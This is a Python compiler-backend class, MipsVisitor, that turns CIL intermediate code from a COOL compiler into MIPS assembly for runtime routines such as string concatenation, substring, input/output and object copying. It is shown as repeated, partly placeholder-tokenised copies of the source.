self.write_file(f'lw $a2 12($a2)')\n self.write_file(f'blt $a1 $0 _index_negative')\n self.write_file(f'blt $a2 $0 _index_negative')\n self.write_file(f'add $a2 $a1 $a2')\n self.write_file(f'lw $a3 12($t5)')\n self.write_file(f'lw $a3 12($a3)')\n self.write_file(f'bgt $a2 $a3 _index_out')\n self.visit(cil.Allocate(dest=None, ttype=STRING_CLASS))\n self.write_file(f'move $v1 $v0')\n self.visit(cil.Allocate(dest=None, ttype=INTEGER_CLASS))\n self.write_file(f'move $t0 $v0')\n self.write_file(f'move $t7 $a2')\n self.write_file(f'subu $t7 $t7 $a1')\n self.write_file(f'sw $t7 12($t0)')\n self.allocate_memory('$a2', register=True)\n self.write_file(f'sw $t0 12($v1)')\n self.write_file(f'sw $v0 16($v1)')\n self.write_file('move $t1 $v0')\n self.write_file('lw $t5 16($t5)')\n self.write_file('move $t4 $t5')\n self.write_file('addu $t4 $t4 $a1')\n self.write_file('addu $t5 $t5 $a2')\n self.write_file('_substr_copy_:', tabbed=False)\n self.write_file('bge $t4 $t5 _end_substr_copy_')\n self.write_file('lb $a0 0($t4)')\n self.write_file('sb $a0 0($t1)')\n self.write_file('addiu $t1 $t1 1')\n self.write_file('addiu $t4 $t4 1')\n self.write_file('j _substr_copy_')\n self.write_file(f'_index_negative:', tabbed=False)\n self.write_file(f'la $a0 _index_negative_msg')\n self.write_file(f'b _subst_abort')\n self.write_file(f'_index_out:', tabbed=False)\n self.write_file(f'la $a0 _index_out_msg')\n self.write_file(f'b _subst_abort')\n self.write_file(f'_subst_abort:', tabbed=False)\n self.write_file(f'li $v0 4')\n self.write_file(f'syscall')\n self.write_file('la\\t$a0 _abort_msg')\n self.write_file(f'li $v0 4')\n self.write_file(f'syscall')\n self.write_file(f'li $v0 10')\n self.write_file(f'syscall')\n self.write_file('_end_substr_copy_:', tabbed=False)\n self.write_file('move $v0 $v1')\n self.write_file('jr $ra')\n self.write_file('')\n <function token>\n\n def io_in_string(self):\n self.write_file('function_IO_in_string:', tabbed=False)\n self.write_file(f'move $fp, $sp')\n self.visit(cil.Allocate(dest=None, ttype=INTEGER_CLASS))\n self.write_file('move $v1 $v0')\n self.visit(cil.Allocate(dest=None, ttype=STRING_CLASS))\n self.write_file('sw $v1 12($v0)')\n self.write_file('move $t5 $v0')\n self.write_file('la $a0 str_buffer')\n self.write_file('li $a1 1025')\n self.write_file('li $v0 8')\n self.write_file('syscall')\n self.write_file('move $a0 $0')\n self.write_file('la $t2 str_buffer')\n self.write_file('_in_string_str_len_:', tabbed=False)\n self.write_file('lb $t0 0($t2)')\n self.write_file('beq $t0 $0 _end_in_string_str_len_')\n self.write_file('beq $t0 10 _end_in_string_str_len_')\n self.write_file('addiu $a0 $a0 1')\n self.write_file('addiu $t2 $t2 1')\n self.write_file('j _in_string_str_len_')\n self.write_file('_end_in_string_str_len_:', tabbed=False)\n self.write_file('sw $a0 12($v1)')\n self.allocate_memory()\n self.write_file('la $t4 str_buffer')\n self.write_file('move $t1 $v0')\n self.write_file('_in_str_copy_:', tabbed=False)\n self.write_file('lb $t0 0($t4)')\n self.write_file('beq $t0 $0 _end_in_str_copy_')\n self.write_file('beq $t0 10 _end_in_str_copy_')\n self.write_file('sb $t0 0($t1)')\n self.write_file('addiu $t4 $t4 1')\n self.write_file('addiu $t1 $t1 1')\n self.write_file('j _in_str_copy_')\n self.write_file('_end_in_str_copy_:', tabbed=False)\n self.write_file('sw $v0 16($t5)')\n self.write_file('la $t4 str_buffer')\n self.write_file('_in_str_clean_:', tabbed=False)\n self.write_file('lb $t0 0($t4)')\n self.write_file('beq $t0 $0 _end_in_str_clean_')\n self.write_file('sb $0 0($t4)')\n self.write_file('addiu $t4 $t4 1')\n self.write_file('j _in_str_clean_')\n self.write_file('_end_in_str_clean_:', tabbed=False)\n self.write_file('move $v0 $t5')\n self.write_file('jr $ra')\n self.write_file('')\n\n def io_out_int(self):\n self.write_file('function_IO_out_int:', tabbed=False)\n self.write_file(f'move $fp, $sp')\n self.write_file('lw $a0 16($fp)')\n self.write_file('lw $a0 12($a0)')\n self.write_file('li $v0 1')\n self.write_file('syscall')\n self.write_file('lw $v0 12($fp)')\n self.write_file('jr $ra')\n self.write_file('')\n\n def io_out_string(self):\n self.write_file('function_IO_out_string:', tabbed=False)\n self.write_file(f'move $fp, $sp')\n self.write_file('lw $a0 16($fp)')\n self.write_file('lw $a0 16($a0)')\n self.write_file('li $v0 4')\n self.write_file('syscall')\n self.write_file('lw $v0 12($fp)')\n self.write_file('jr $ra')\n self.write_file('')\n <function token>\n\n def isvoid(self):\n self.write_file(f'function_{ISVOID_FUNC}:', tabbed=False)\n self.write_file(f'move $fp, $sp')\n self.visit(cil.Allocate(dest=None, ttype=BOOLEAN_CLASS))\n self.write_file(f'lw $t0 12($fp)')\n self.write_file(f'la $t1 {VOID_MIPS_NAME}')\n self.write_file(f'beq $t0 $t1 _is_void_true_')\n self.write_file(f'sw $0 12($v0)')\n self.write_file(f'j _is_void_end_')\n self.write_file(f'_is_void_true_:', tabbed=False)\n self.write_file(f'li $t0 1')\n self.write_file(f'sw $t0 12($v0)')\n self.write_file(f'_is_void_end_:', tabbed=False)\n self.write_file(f'jr $ra')\n self.write_file(f'')\n", "<docstring token>\n<import token>\n<code token>\n<import token>\n\n\nclass MipsVisitor:\n <docstring token>\n\n def __init__(self, inherit_graph, output_file='mips_code.mips'):\n self.inherit_graph, _ = inherit_graph\n self.offset = dict()\n self.type_index = []\n self.dispatchtable_code = []\n self.prototypes_code = []\n self.cur_labels_id = 0\n self.output_file = output_file\n\n def push(self):\n self.write_file('sw $a0 0($sp)')\n self.write_file('addiu $sp $sp -4')\n <function token>\n\n def write_file(self, msg, mode='a', tabbed=True):\n f = open(self.output_file, mode)\n f.write('{}{}\\n'.format('\\t' if tabbed else '', msg))\n f.close()\n\n def allocate_memory(self, size=None, register=False):\n if register:\n self.write_file('move $a0 {}'.format(size))\n elif size:\n self.write_file('li $a0 {}'.format(size))\n self.write_file('li $v0 9')\n self.write_file('syscall')\n <function token>\n\n @visitor.on('node')\n def visit(self, node):\n pass\n\n @visitor.when(cil.Program)\n def visit(self, node: cil.Program):\n self.write_file('', 'w')\n self.write_file('.data', tabbed=False)\n self.static_datas()\n for data in node.data_section:\n self.visit(data)\n self.write_file('')\n for i in range(len(node.type_section)):\n self.type_index.append(node.type_section[i].type_name)\n self.write_file('classname_{}: .asciiz \"{}\"'.format(node.\n type_section[i].type_name, node.type_section[i].type_name))\n self.write_file(f'{VOID_MIPS_NAME}: .asciiz \"\"')\n self.write_file('\\n.text')\n self.entry()\n self.write_file('\\n########## STATIC FUNCTIONS ##########\\n')\n self.conforms()\n self.isvoid()\n self.object_abort()\n self.object_copy()\n self.object_typename()\n self.string_length()\n self.string_concat()\n self.string_substr()\n self.io_in_int()\n self.io_in_string()\n self.io_out_int()\n self.io_out_string()\n for t in node.type_section:\n self.visit(t)\n self.write_file('\\n############## TABLES ################\\n')\n self.write_file('function_build_class_name_table:', tabbed=False)\n self.allocate_memory(len(node.type_section) * 4)\n self.write_file('move $s1 $v0')\n for i in range(len(node.type_section)):\n self.write_file('la $t1 classname_{}'.format(node.type_section[\n i].type_name))\n self.write_file('sw $t1 {}($s1)'.format(4 * i))\n self.write_file('')\n self.write_file('function_allocate_prototypes_table:', tabbed=False)\n self.allocate_memory(8 * len(self.type_index))\n self.write_file('move $s0 $v0')\n self.write_file('')\n self.write_file('function_build_prototypes:', tabbed=False)\n for ins in self.prototypes_code:\n self.write_file(ins)\n self.write_file('')\n self.write_file('function_build_dispatch_tables:', tabbed=False)\n for ins in self.dispatchtable_code:\n self.write_file(ins)\n self.write_file('')\n self.write_file('function_build_class_parents_table:', tabbed=False)\n self.allocate_memory(4 * len(self.type_index))\n self.write_file('move $s2 $v0')\n self.write_file('')\n for parent in self.inherit_graph.keys():\n p_index = self.type_index.index(parent)\n for child in self.inherit_graph[parent]:\n ch_index = self.type_index.index(child.name)\n self.write_file(f'li $t0 {ch_index}')\n self.write_file(f'mul $t0 $t0 4')\n self.write_file(f'add $t0 $t0 $s2')\n self.write_file(f'li $t1 {p_index}')\n self.write_file(f'sw $t1 0($t0)')\n self.write_file('')\n self.write_file('')\n self.write_file('\\n########### COOL FUNCTIONS ##########\\n')\n for func in node.code_section:\n is_built_in = False\n if not INIT_CIL_SUFFIX in func.name:\n is_built_in = [x for x in BUILT_IN_CLASSES if f'{x}_' in\n func.name] != []\n if not is_built_in:\n self.visit(func)\n self.write_file('\\n#####################################\\n')\n <function token>\n\n @visitor.when(cil.Type)\n def visit(self, node: cil.Type):\n self.dispatchtable_code.append(f'# Type {node.type_name}')\n self.dispatchtable_code.append('li $a0 {}'.format(4 * len(node.\n methods)))\n self.dispatchtable_code.append('li $v0 9')\n self.dispatchtable_code.append('syscall')\n for i in range(len(node.methods)):\n self.dispatchtable_code.append('la $t1 function_{}'.format(node\n .methods[i].function_name))\n self.dispatchtable_code.append('sw $t1 {}($v0)'.format(4 * i))\n self.dispatchtable_code.append('lw $t0 {}($s0)'.format(8 * self.\n type_index.index(node.type_name)))\n self.dispatchtable_code.append('sw $v0 8($t0)')\n self.dispatchtable_code.append('')\n self.prototypes_code.append(f'# Type {node.type_name}')\n self.prototypes_code.append('li $a0 {}'.format(12 + 4 * len(node.\n attributes)))\n self.prototypes_code.append('li $v0 9')\n self.prototypes_code.append('syscall')\n class_index = self.type_index.index(node.type_name)\n self.prototypes_code.append('li $a0 {}'.format(class_index))\n self.prototypes_code.append('sw $a0 0($v0)')\n self.prototypes_code.append('li $a0 {}'.format(12 + 4 * len(node.\n attributes)))\n self.prototypes_code.append('sw $a0 4($v0)')\n self.prototypes_code.append('sw $v0 {}($s0)'.format(8 * class_index))\n self.prototypes_code.append('')\n\n @visitor.when(cil.Function)\n def visit(self, node: cil.Function):\n self.write_file(f'function_{node.name}:', tabbed=False)\n self.write_file(f'move $fp, $sp')\n self.write_file(f'subiu $sp, $sp, {4 * len(node.vlocals)}')\n for i in range(len(node.args)):\n self.offset[node.args[i].name] = 12 + i * 4\n for i in range(len(node.vlocals)):\n self.offset[node.vlocals[i].name] = i * -4\n for inst in node.body:\n if isinstance(inst, cil.Equal) or isinstance(inst, cil.Div):\n inst.id = self.new_labels_id()\n self.visit(inst)\n self.write_file(f'addiu $sp, $sp, {4 * len(node.vlocals)}')\n self.write_file('jr $ra')\n self.write_file('')\n\n @visitor.when(cil.Assign)\n def visit(self, node: cil.Assign):\n self.write_file('# ASSIGN')\n self.write_file('lw $a0, {}($fp)'.format(self.offset[node.source]))\n self.write_file('sw $a0, {}($fp)'.format(self.offset[node.dest]))\n self.write_file('')\n <function token>\n <function token>\n\n @visitor.when(cil.Mult)\n def visit(self, node: cil.Mult):\n self.write_file('# *')\n self.write_file('lw $a0, {}($fp)'.format(self.offset[node.left]))\n self.write_file('lw $a1, {}($fp)'.format(self.offset[node.right]))\n self.write_file('mul $a0, $a0, $a1')\n self.write_file('sw $a0, {}($fp)'.format(self.offset[node.dest]))\n self.write_file('')\n <function token>\n\n @visitor.when(cil.Equal)\n def visit(self, node: cil.Equal):\n self.write_file('lw $t0 {}($fp)'.format(self.offset[node.left]))\n self.write_file('lw $t1 {}($fp)'.format(self.offset[node.right]))\n self.write_file(f'beq $t0 $zero _eq_false_{node.id}_')\n self.write_file(f'beq $t1 $zero _eq_false_{node.id}_')\n self.write_file('lw $a0 0($t0)')\n self.write_file('lw $a1 0($t1)')\n self.write_file(f'bne $a0 $a1 _eq_false_{node.id}_')\n self.write_file('li $a2 {}'.format(self.type_index.index(\n INTEGER_CLASS)))\n self.write_file(f'beq $a0 $a2 _eq_int_bool_{node.id}')\n self.write_file('li $a2 {}'.format(self.type_index.index(\n BOOLEAN_CLASS)))\n self.write_file(f'beq $a0 $a2 _eq_int_bool_{node.id}')\n self.write_file('li $a2 {}'.format(self.type_index.index(STRING_CLASS))\n )\n self.write_file(f'bne $a0 $a2 _not_basic_type_{node.id}_')\n self.write_file(f'_eq_str_{node.id}_:', tabbed=False)\n self.write_file('lw\\t$t3 12($t0)')\n self.write_file('lw\\t$t3 12($t3)')\n self.write_file('lw\\t$t4, 12($t1)')\n self.write_file('lw\\t$t4, 12($t4)')\n self.write_file(f'bne $t3 $t4 _eq_false_{node.id}_')\n self.write_file(f'beq $t3 $0 _eq_true_{node.id}_')\n self.write_file('addu $t0 $t0 16')\n self.write_file('lw $t0 0($t0)')\n self.write_file('addu $t1 $t1 16')\n self.write_file('lw $t1 0($t1)')\n self.write_file('move $t2 $t3')\n self.write_file(f'_verify_ascii_sequences_{node.id}_:', tabbed=False)\n self.write_file('lb $a0 0($t0)')\n self.write_file('lb $a1 0($t1)')\n self.write_file(f'bne $a0 $a1 _eq_false_{node.id}_')\n self.write_file('addu $t0 $t0 1')\n self.write_file('addu $t1 $t1 1')\n self.write_file('addiu $t2 $t2 -1')\n self.write_file(f'bnez $t2 _verify_ascii_sequences_{node.id}_')\n self.write_file(f'b _eq_true_{node.id}_')\n self.write_file(f'_not_basic_type_{node.id}_:', tabbed=False)\n self.write_file(f'bne $t0 $t1 _eq_false_{node.id}_')\n self.write_file(f'b _eq_true_{node.id}_')\n self.write_file(f'_eq_int_bool_{node.id}:', tabbed=False)\n self.write_file('lw $a3 12($t0)')\n self.write_file('lw $t4 12($t1)')\n self.write_file(f'bne $a3 $t4 _eq_false_{node.id}_')\n self.write_file(f'_eq_true_{node.id}_:', tabbed=False)\n self.write_file('li $a0 1')\n self.write_file('sw $a0 {}($fp)'.format(self.offset[node.dest]))\n self.write_file(f'b end_equal_{node.id}_')\n self.write_file(f'_eq_false_{node.id}_:', tabbed=False)\n self.write_file('li $a0 0')\n self.write_file('sw $a0 {}($fp)'.format(self.offset[node.dest]))\n self.write_file(f'end_equal_{node.id}_:', tabbed=False)\n <function token>\n\n @visitor.when(cil.EqualOrLessThan)\n def visit(self, node: cil.EqualOrLessThan):\n self.write_file('# <=')\n self.write_file('lw $a1, {}($fp)'.format(self.offset[node.left]))\n self.write_file('lw $a2, {}($fp)'.format(self.offset[node.right]))\n self.write_file('sle $a0, $a1, $a2'.format(self.offset[node.right]))\n self.write_file('sw $a0, {}($fp)'.format(self.offset[node.dest]))\n self.write_file('')\n\n @visitor.when(cil.GetAttrib)\n def visit(self, node: cil.GetAttrib):\n self.write_file('# GETATTR')\n self.write_file(f'lw $a1 {self.offset[node.instance]}($fp)')\n self.write_file(f'lw $a0 {12 + 4 * node.attribute}($a1)')\n self.write_file(f'sw $a0 {self.offset[node.dest]}($fp)')\n self.write_file('')\n\n @visitor.when(cil.SetAttrib)\n def visit(self, node: cil.SetAttrib):\n self.write_file('# SETATTR')\n self.write_file(f'lw $a1 {self.offset[node.instance]}($fp)')\n if isinstance(node.src, int):\n self.write_file(f'li $a0, {node.src}')\n elif node.src[:5] == 'data_':\n self.write_file(f'la $a0, {node.src}')\n else:\n self.write_file(f'lw $a0 {self.offset[node.src]}($fp)')\n self.write_file(f'sw $a0 {12 + 4 * node.attribute}($a1)')\n self.write_file('')\n\n @visitor.when(cil.TypeOf)\n def visit(self, node: cil.TypeOf):\n self.write_file('# TYPEOF')\n self.write_file(f'lw $a1 {self.offset[node.instance]}($fp)')\n self.write_file(f'lw $a0 0($a1)')\n self.write_file(f'sw $a0 {self.offset[node.dest]}($fp)')\n self.write_file('')\n\n @visitor.when(cil.Allocate)\n def visit(self, node: cil.Allocate):\n self.write_file('# ALLOCATE')\n if node.ttype == VOID_TYPE:\n self.write_file(f'la $v0 {VOID_MIPS_NAME}')\n self.write_file(f'sw $v0 {self.offset[node.dest]}($fp)')\n else:\n offset_proto = self.type_index.index(node.ttype) * 8\n self.write_file('lw $t0 {}($s0)'.format(offset_proto))\n self.write_file('sw $t0, 0($sp)')\n self.write_file('addiu $sp, $sp, -4')\n self.write_file('')\n self.visit(cil.Call(dest=node.dest, f='Object_copy'))\n self.write_file('addiu $sp, $sp, 4')\n self.write_file('')\n\n @visitor.when(cil.Call)\n def visit(self, node: cil.Call):\n self.write_file('# CALL')\n self.write_file(f'addiu $sp, $sp, -8')\n self.write_file(f'sw $ra, 4($sp)')\n self.write_file(f'sw $fp, 8($sp)')\n self.write_file(f'jal function_{node.f}')\n self.write_file(f'lw $fp, 8($sp)')\n self.write_file(f'lw $ra, 4($sp)')\n self.write_file(f'addiu $sp, $sp, 8')\n if node.dest:\n self.write_file(f'sw $v0 {self.offset[node.dest]}($fp)')\n self.write_file('')\n\n @visitor.when(cil.VCall)\n def visit(self, node: cil.VCall):\n self.write_file('# VCALL')\n self.write_file(f'addiu $sp, $sp, -8')\n self.write_file(f'sw $ra, 4($sp)')\n self.write_file(f'sw $fp, 8($sp)')\n if node.ttype[0] == '_':\n self.write_file(f'lw $a2, {self.offset[node.ttype]}($fp)')\n else:\n self.write_file(f'li $a2, {self.type_index.index(node.ttype)}')\n self.write_file(f'mulu $a2, $a2, 8')\n self.write_file(f'addu $a2, $a2, $s0')\n self.write_file(f'lw $a1, 0($a2)')\n self.write_file(f'lw $a2, 8($a1)')\n self.write_file(f'lw $a0 {node.f * 4}($a2)')\n self.write_file(f'jalr $a0')\n self.write_file(f'lw $fp, 8($sp)')\n self.write_file(f'lw $ra, 4($sp)')\n self.write_file(f'addiu $sp, $sp, 8')\n self.write_file(f'sw $v0 {self.offset[node.dest]}($fp)')\n if node.ttype[0] != '_':\n self.write_file(f'li $a2, {self.type_index.index(node.ttype)}')\n else:\n self.write_file(f'lw $a2, {self.offset[node.ttype]}($fp)')\n self.write_file('')\n\n @visitor.when(cil.PushParam)\n def visit(self, node: cil.PushParam):\n self.write_file('# PUSHPARAM')\n if node.name[0] != '_':\n self.write_file('li $a0, {}'.format(self.type_index.index(node.\n name)))\n else:\n self.write_file('lw $a0, {}($fp)'.format(self.offset[node.name]))\n self.push()\n self.write_file('')\n\n @visitor.when(cil.PopParam)\n def visit(self, node: cil.PopParam):\n self.write_file('# POPPARAM')\n self.pop(node.name)\n self.write_file('')\n\n @visitor.when(cil.Return)\n def visit(self, node: cil.Return):\n self.write_file('# RETURN')\n self.write_file('lw $v0, {}($fp)'.format(self.offset[node.value]))\n\n @visitor.when(cil.Label)\n def visit(self, node: cil.Label):\n self.write_file('_cil_label_{}:'.format(node.name), tabbed=False)\n\n @visitor.when(cil.Goto)\n def visit(self, node: cil.Goto):\n self.write_file('# GOTO')\n self.write_file('j _cil_label_{}'.format(node.label))\n self.write_file('')\n\n @visitor.when(cil.IfGoto)\n def visit(self, node: cil.IfGoto):\n self.write_file('# IF GOTO')\n self.write_file('lw $a0, {}($fp)'.format(self.offset[node.condition]))\n self.write_file('bnez $a0, _cil_label_{}'.format(node.label))\n self.write_file('')\n <function token>\n <function token>\n <function token>\n\n def object_copy(self):\n self.write_file('function_Object_copy:', tabbed=False)\n self.write_file(f'move $fp, $sp')\n self.write_file('lw $t0 12($fp)')\n self.write_file('lw $a0 4($t0)')\n self.write_file('move $t4 $a0')\n self.write_file('li $v0 9')\n self.write_file('syscall')\n self.write_file('move $t2 $v0')\n self.write_file('li $t3 0')\n self.write_file('_objcopy_loop:', tabbed=False)\n self.write_file('lw $t1 0($t0)')\n self.write_file('sw $t1 0($v0)')\n self.write_file('addiu $t0 $t0 4')\n self.write_file('addiu $v0 $v0 4')\n self.write_file('addiu $t3 $t3 4')\n self.write_file('ble $t4 $t3 _objcopy_loop')\n self.write_file('_objcopy_div_end_:', tabbed=False)\n self.write_file('move $v0 $t2')\n self.write_file('jr $ra')\n self.write_file('')\n\n def object_typename(self):\n self.write_file('function_Object_type_name:', tabbed=False)\n self.write_file(f'move $fp, $sp')\n self.visit(cil.Allocate(dest=None, ttype=STRING_CLASS))\n self.write_file('move $v1 $v0')\n self.visit(cil.Allocate(dest=None, ttype=INTEGER_CLASS))\n self.write_file('lw $a1 12($fp)')\n self.write_file('lw $a1 0($a1)')\n self.write_file('mulu $a1 $a1 4')\n self.write_file('addu $a1 $a1 $s1')\n self.write_file('lw $a1 0($a1)')\n self.write_file('move $a2 $0')\n self.write_file('move $t2 $a1')\n self.write_file('_str_len_clsname_:', tabbed=False)\n self.write_file('lb $a0 0($t2)')\n self.write_file('beq $a0 $0 _end_clsname_len_')\n self.write_file('addiu $a2 $a2 1')\n self.write_file('addiu $t2 $t2 1')\n self.write_file('j _str_len_clsname_')\n self.write_file('_end_clsname_len_:', tabbed=False)\n self.write_file('sw $a2, 12($v0)')\n self.write_file('sw $v0, 12($v1)')\n self.write_file('sw $a1, 16($v1)')\n self.write_file('move $v0 $v1')\n self.write_file('jr $ra')\n self.write_file('')\n\n def string_length(self):\n self.write_file('function_String_length:', tabbed=False)\n self.write_file(f'move $fp, $sp')\n self.write_file('lw $a0 12($fp)')\n self.write_file('lw $v0 12($a0)')\n self.write_file('jr $ra')\n self.write_file('')\n\n def string_concat(self):\n self.write_file('function_String_concat:', tabbed=False)\n self.write_file(f'move $fp, $sp')\n self.visit(cil.Allocate(dest=None, ttype=INTEGER_CLASS))\n self.write_file('move $v1 $v0')\n self.visit(cil.Allocate(dest=None, ttype=STRING_CLASS))\n self.write_file('move $t3 $v0')\n self.write_file('lw $a1 12($fp)')\n self.write_file('lw $a2 16($fp)')\n self.write_file('lw $t1 12($a1)')\n self.write_file('lw $t1 12($t1)')\n self.write_file('lw $t2 12($a2)')\n self.write_file('lw $t2 12($t2)')\n self.write_file('addu $t0 $t2 $t1')\n self.write_file('sw $t0 12($v1)')\n self.write_file('lw $a1 16($a1)')\n self.write_file('lw $a2 16($a2)')\n self.write_file('addiu $t0 $t0 1')\n self.allocate_memory('$t0', register=True)\n self.write_file('move $t5 $v0')\n self.write_file('move $t4 $a1')\n self.write_file('addu $a1 $a1 $t1')\n self.write_file('_strcat_copy_:', tabbed=False)\n self.write_file('beq $t4 $a1 _end_strcat_copy_')\n self.write_file('lb $a0 0($t4)')\n self.write_file('sb $a0 0($t5)')\n self.write_file('addiu $t5 $t5 1')\n self.write_file('addiu $t4 $t4 1')\n self.write_file('j _strcat_copy_')\n self.write_file('_end_strcat_copy_:', tabbed=False)\n self.write_file('move $t4 $a2')\n self.write_file('addu $a2 $a2 $t2')\n self.write_file('_strcat_copy_snd_:', tabbed=False)\n self.write_file('beq $t4 $a2 _end_strcat_copy_snd_')\n self.write_file('lb $a0 0($t4)')\n self.write_file('sb $a0 0($t5)')\n self.write_file('addiu $t5 $t5 1')\n self.write_file('addiu $t4 $t4 1')\n self.write_file('j _strcat_copy_snd_')\n self.write_file('_end_strcat_copy_snd_:', tabbed=False)\n self.write_file('sb $0 0($t5)')\n self.write_file('sw $v1 12($t3)')\n self.write_file('sw $v0 16($t3)')\n self.write_file('move $v0 $t3')\n self.write_file('jr $ra')\n self.write_file('')\n\n def string_substr(self):\n self.write_file('function_String_substr:', tabbed=False)\n self.write_file(f'move $fp, $sp')\n self.write_file(f'lw $t5 12($fp)')\n self.write_file(f'lw $a1 16($fp)')\n self.write_file(f'lw $a1 12($a1)')\n self.write_file(f'lw $a2 20($fp)')\n self.write_file(f'lw $a2 12($a2)')\n self.write_file(f'blt $a1 $0 _index_negative')\n self.write_file(f'blt $a2 $0 _index_negative')\n self.write_file(f'add $a2 $a1 $a2')\n self.write_file(f'lw $a3 12($t5)')\n self.write_file(f'lw $a3 12($a3)')\n self.write_file(f'bgt $a2 $a3 _index_out')\n self.visit(cil.Allocate(dest=None, ttype=STRING_CLASS))\n self.write_file(f'move $v1 $v0')\n self.visit(cil.Allocate(dest=None, ttype=INTEGER_CLASS))\n self.write_file(f'move $t0 $v0')\n self.write_file(f'move $t7 $a2')\n self.write_file(f'subu $t7 $t7 $a1')\n self.write_file(f'sw $t7 12($t0)')\n self.allocate_memory('$a2', register=True)\n self.write_file(f'sw $t0 12($v1)')\n self.write_file(f'sw $v0 16($v1)')\n self.write_file('move $t1 $v0')\n self.write_file('lw $t5 16($t5)')\n self.write_file('move $t4 $t5')\n self.write_file('addu $t4 $t4 $a1')\n self.write_file('addu $t5 $t5 $a2')\n self.write_file('_substr_copy_:', tabbed=False)\n self.write_file('bge $t4 $t5 _end_substr_copy_')\n self.write_file('lb $a0 0($t4)')\n self.write_file('sb $a0 0($t1)')\n self.write_file('addiu $t1 $t1 1')\n self.write_file('addiu $t4 $t4 1')\n self.write_file('j _substr_copy_')\n self.write_file(f'_index_negative:', tabbed=False)\n self.write_file(f'la $a0 _index_negative_msg')\n self.write_file(f'b _subst_abort')\n self.write_file(f'_index_out:', tabbed=False)\n self.write_file(f'la $a0 _index_out_msg')\n self.write_file(f'b _subst_abort')\n self.write_file(f'_subst_abort:', tabbed=False)\n self.write_file(f'li $v0 4')\n self.write_file(f'syscall')\n self.write_file('la\\t$a0 _abort_msg')\n self.write_file(f'li $v0 4')\n self.write_file(f'syscall')\n self.write_file(f'li $v0 10')\n self.write_file(f'syscall')\n self.write_file('_end_substr_copy_:', tabbed=False)\n self.write_file('move $v0 $v1')\n self.write_file('jr $ra')\n self.write_file('')\n <function token>\n\n def io_in_string(self):\n self.write_file('function_IO_in_string:', tabbed=False)\n self.write_file(f'move $fp, $sp')\n self.visit(cil.Allocate(dest=None, ttype=INTEGER_CLASS))\n self.write_file('move $v1 $v0')\n self.visit(cil.Allocate(dest=None, ttype=STRING_CLASS))\n self.write_file('sw $v1 12($v0)')\n self.write_file('move $t5 $v0')\n self.write_file('la $a0 str_buffer')\n self.write_file('li $a1 1025')\n self.write_file('li $v0 8')\n self.write_file('syscall')\n self.write_file('move $a0 $0')\n self.write_file('la $t2 str_buffer')\n self.write_file('_in_string_str_len_:', tabbed=False)\n self.write_file('lb $t0 0($t2)')\n self.write_file('beq $t0 $0 _end_in_string_str_len_')\n self.write_file('beq $t0 10 _end_in_string_str_len_')\n self.write_file('addiu $a0 $a0 1')\n self.write_file('addiu $t2 $t2 1')\n self.write_file('j _in_string_str_len_')\n self.write_file('_end_in_string_str_len_:', tabbed=False)\n self.write_file('sw $a0 12($v1)')\n self.allocate_memory()\n self.write_file('la $t4 str_buffer')\n self.write_file('move $t1 $v0')\n self.write_file('_in_str_copy_:', tabbed=False)\n self.write_file('lb $t0 0($t4)')\n self.write_file('beq $t0 $0 _end_in_str_copy_')\n self.write_file('beq $t0 10 _end_in_str_copy_')\n self.write_file('sb $t0 0($t1)')\n self.write_file('addiu $t4 $t4 1')\n self.write_file('addiu $t1 $t1 1')\n self.write_file('j _in_str_copy_')\n self.write_file('_end_in_str_copy_:', tabbed=False)\n self.write_file('sw $v0 16($t5)')\n self.write_file('la $t4 str_buffer')\n self.write_file('_in_str_clean_:', tabbed=False)\n self.write_file('lb $t0 0($t4)')\n self.write_file('beq $t0 $0 _end_in_str_clean_')\n self.write_file('sb $0 0($t4)')\n self.write_file('addiu $t4 $t4 1')\n self.write_file('j _in_str_clean_')\n self.write_file('_end_in_str_clean_:', tabbed=False)\n self.write_file('move $v0 $t5')\n self.write_file('jr $ra')\n self.write_file('')\n\n def io_out_int(self):\n self.write_file('function_IO_out_int:', tabbed=False)\n self.write_file(f'move $fp, $sp')\n self.write_file('lw $a0 16($fp)')\n self.write_file('lw $a0 12($a0)')\n self.write_file('li $v0 1')\n self.write_file('syscall')\n self.write_file('lw $v0 12($fp)')\n self.write_file('jr $ra')\n self.write_file('')\n\n def io_out_string(self):\n self.write_file('function_IO_out_string:', tabbed=False)\n self.write_file(f'move $fp, $sp')\n self.write_file('lw $a0 16($fp)')\n self.write_file('lw $a0 16($a0)')\n self.write_file('li $v0 4')\n self.write_file('syscall')\n self.write_file('lw $v0 12($fp)')\n self.write_file('jr $ra')\n self.write_file('')\n <function token>\n\n def isvoid(self):\n self.write_file(f'function_{ISVOID_FUNC}:', tabbed=False)\n self.write_file(f'move $fp, $sp')\n self.visit(cil.Allocate(dest=None, ttype=BOOLEAN_CLASS))\n self.write_file(f'lw $t0 12($fp)')\n self.write_file(f'la $t1 {VOID_MIPS_NAME}')\n self.write_file(f'beq $t0 $t1 _is_void_true_')\n self.write_file(f'sw $0 12($v0)')\n self.write_file(f'j _is_void_end_')\n self.write_file(f'_is_void_true_:', tabbed=False)\n self.write_file(f'li $t0 1')\n self.write_file(f'sw $t0 12($v0)')\n self.write_file(f'_is_void_end_:', tabbed=False)\n self.write_file(f'jr $ra')\n self.write_file(f'')\n", "<docstring token>\n<import token>\n<code token>\n<import token>\n\n\nclass MipsVisitor:\n <docstring token>\n\n def __init__(self, inherit_graph, output_file='mips_code.mips'):\n self.inherit_graph, _ = inherit_graph\n self.offset = dict()\n self.type_index = []\n self.dispatchtable_code = []\n self.prototypes_code = []\n self.cur_labels_id = 0\n self.output_file = output_file\n\n def push(self):\n self.write_file('sw $a0 0($sp)')\n self.write_file('addiu $sp $sp -4')\n <function token>\n\n def write_file(self, msg, mode='a', tabbed=True):\n f = open(self.output_file, mode)\n f.write('{}{}\\n'.format('\\t' if tabbed else '', msg))\n f.close()\n\n def allocate_memory(self, size=None, register=False):\n if register:\n self.write_file('move $a0 {}'.format(size))\n elif size:\n self.write_file('li $a0 {}'.format(size))\n self.write_file('li $v0 9')\n self.write_file('syscall')\n <function token>\n <function token>\n\n @visitor.when(cil.Program)\n def visit(self, node: cil.Program):\n self.write_file('', 'w')\n self.write_file('.data', tabbed=False)\n self.static_datas()\n for data in node.data_section:\n self.visit(data)\n self.write_file('')\n for i in range(len(node.type_section)):\n self.type_index.append(node.type_section[i].type_name)\n self.write_file('classname_{}: .asciiz \"{}\"'.format(node.\n type_section[i].type_name, node.type_section[i].type_name))\n self.write_file(f'{VOID_MIPS_NAME}: .asciiz \"\"')\n self.write_file('\\n.text')\n self.entry()\n self.write_file('\\n########## STATIC FUNCTIONS ##########\\n')\n self.conforms()\n self.isvoid()\n 